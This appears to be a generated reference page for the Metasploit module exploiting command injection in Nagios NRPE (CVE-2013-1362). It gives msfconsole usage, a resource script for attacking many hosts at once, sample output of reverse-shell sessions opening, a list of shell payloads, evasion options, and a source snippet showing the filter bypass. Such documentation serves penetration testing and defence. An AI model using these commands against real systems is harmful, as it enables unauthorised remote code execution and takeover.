Nagios Remote Plugin Executor Arbitrary Command Execution - Metasploit


This page contains detailed information about how to use the exploit/linux/misc/nagios_nrpe_arguments metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Nagios Remote Plugin Executor Arbitrary Command Execution
Module: exploit/linux/misc/nagios_nrpe_arguments
Source code: modules/exploits/linux/misc/nagios_nrpe_arguments.rb
Disclosure date: 2013-02-21
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 5666
List of CVEs: CVE-2013-1362

The Nagios Remote Plugin Executor (NRPE) is installed to allow a central Nagios server to actively poll information from the hosts it monitors. NRPE has a configuration option dont_blame_nrpe which enables command-line arguments to be provided remote plugins. When this option is enabled, even when NRPE makes an effort to sanitize arguments to prevent command execution, it is possible to execute arbitrary commands.

Module Ranking and Traits

Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage

Using nagios_nrpe_arguments against a single host

Normally, you can use exploit/linux/misc/nagios_nrpe_arguments this way:

msf > use exploit/linux/misc/nagios_nrpe_arguments
msf exploit(nagios_nrpe_arguments) > show targets
    ... a list of targets ...
msf exploit(nagios_nrpe_arguments) > set TARGET target-id
msf exploit(nagios_nrpe_arguments) > show options
    ... show and set options ...
msf exploit(nagios_nrpe_arguments) > exploit

Using nagios_nrpe_arguments against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your nagios_nrpe_arguments will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/linux/misc/nagios_nrpe_arguments")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the linux/misc/nagios_nrpe_arguments exploit module looks in the msfconsole:

msf6 > use exploit/linux/misc/nagios_nrpe_arguments

msf6 exploit(linux/misc/nagios_nrpe_arguments) > show info

       Name: Nagios Remote Plugin Executor Arbitrary Command Execution
     Module: exploit/linux/misc/nagios_nrpe_arguments
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-02-21

Provided by:
  Rudolph Pereir
  jwpari <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Nagios Remote Plugin Executor prior to 2.14

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  NRPECMD  check_procs      yes       NRPE Command to exploit, command must be configured to accept arguments in nrpe.cfg (Accepted: check_procs, check_users, check_load, check_disk)
  NRPESSL  true             yes       Use NRPE's Anonymous-Diffie-Hellman-variant SSL
  RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    5666             yes       The target port (TCP)

Payload information:

Description:
  The Nagios Remote Plugin Executor (NRPE) is installed to allow a 
  central Nagios server to actively poll information from the hosts it 
  monitors. NRPE has a configuration option dont_blame_nrpe which 
  enables command-line arguments to be provided remote plugins. When 
  this option is enabled, even when NRPE makes an effort to sanitize 
  arguments to prevent command execution, it is possible to execute 
  arbitrary commands.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2013-1362
  OSVDB (90582)
  http://www.securityfocus.com/bid/58142
  http://www.occamsec.com/vulnerabilities.html#nagios_metacharacter_vulnerability

Module Options

This is a complete list of options available in the linux/misc/nagios_nrpe_arguments exploit:

msf6 exploit(linux/misc/nagios_nrpe_arguments) > show options

Module options (exploit/linux/misc/nagios_nrpe_arguments):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   NRPECMD  check_procs      yes       NRPE Command to exploit, command must be configured to accept arguments in nrpe.cfg (Accepted: check_procs, check_users, check_load, check_disk)
   NRPESSL  true             yes       Use NRPE's Anonymous-Diffie-Hellman-variant SSL
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    5666             yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Nagios Remote Plugin Executor prior to 2.14

Advanced Options

Here is a complete list of advanced options supported by the linux/misc/nagios_nrpe_arguments exploit:

msf6 exploit(linux/misc/nagios_nrpe_arguments) > show advanced

Module advanced options (exploit/linux/misc/nagios_nrpe_arguments):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   CHOST                                    no        The local client address
   CPORT                                    no        The local client port
   ConnectTimeout          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                     false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Exploit Targets

Here is a list of targets (platforms and systems) which the linux/misc/nagios_nrpe_arguments module can exploit:

msf6 exploit(linux/misc/nagios_nrpe_arguments) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Nagios Remote Plugin Executor prior to 2.14

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the linux/misc/nagios_nrpe_arguments exploit:

msf6 exploit(linux/misc/nagios_nrpe_arguments) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   1   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   2   payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   3   payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   4   payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   5   payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   6   payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   7   payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   8   payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   9   payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   10  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   11  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   12  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)

Evasion Options

Here is the full list of possible evasion options supported by the linux/misc/nagios_nrpe_arguments exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/misc/nagios_nrpe_arguments) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Host does not support plugin command line arguments or is not accepting connections

Here is a relevant code snippet related to the "Host does not support plugin command line arguments or is not accepting connections" error message:

96:	  end
97:	
98:	  def exploit
99:	
100:	    if check != Exploit::CheckCode::Vulnerable
101:	      fail_with(Failure::NotFound, "Host does not support plugin command line arguments or is not accepting connections")
102:	    end
103:	
104:	    stage = "setsid nohup #{payload.encoded} & "
105:	    stage = Rex::Text.encode_base64(stage)
106:	    # NRPE will reject queries containing |`&><'\"\\[]{}; but not $() :)

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References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • Rudolph Pereir
  • jwpari <jwpari[at]beersec.org>

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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